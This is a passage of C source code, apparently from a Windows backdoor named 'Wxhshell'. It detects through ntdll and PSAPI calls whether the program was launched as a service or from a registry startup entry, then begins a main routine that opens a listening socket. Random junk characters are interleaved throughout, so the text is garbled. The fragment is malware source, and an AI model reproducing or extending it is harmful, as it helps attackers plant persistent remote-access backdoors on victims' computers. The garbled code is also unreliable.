} PROCESS_BASIC_INFORMATION; [OsW
G>{;@u
PROCNTQSIP NtQueryInformationProcess; nmN6RGx
TM':G9n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GRj{*zs
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |xaA3UA
G";yqG
HANDLE hProcess; EY!aiH6P
PROCESS_BASIC_INFORMATION pbi; >[Q(!Ai
^IM;D)X&:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z{^XU"yB
if(NULL == hInst ) return 0; *-Y|qS%
p2y
h
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >UuLSF}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c66Iy"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ? P`]^#
7z6y n=B
if (!NtQueryInformationProcess) return 0; U1rh[A>
w>rglm&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J(-#(kMyf
if(!hProcess) return 0; Ty]CdyL$
A0WQZt!FEN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +]|J
jvm
"7)h
CloseHandle(hProcess); /)y~%0
2&!G@5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D9c8#k9Y.
if(hProcess==NULL) return 0; Mi'eViH
Jb {m
HMODULE hMod; c#`Z[
char procName[255]; Z)7
{e"5d
unsigned long cbNeeded; Q.6pmaXrb
?^IM2}(p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); it>FG9hVo
C`knFGb
CloseHandle(hProcess); R`>E_SY
h.~S^uKi*
if(strstr(procName,"services")) return 1; // 以服务启动 7,jh44(\=
s bW`
return 0; // 注册表启动 =UNzjmP503
} m2<sVTN`^
Fz)z&WT
// 主模块 UwdcU^xt9
int StartWxhshell(LPSTR lpCmdLine) rmR7^Ycv/
{ bUz7!M$
SOCKET wsl; Z^`>;n2
BOOL val=TRUE; 0Km{fZYq7;
int port=0; Ty#L%k}-t
struct sockaddr_in door; t91v%L
i':<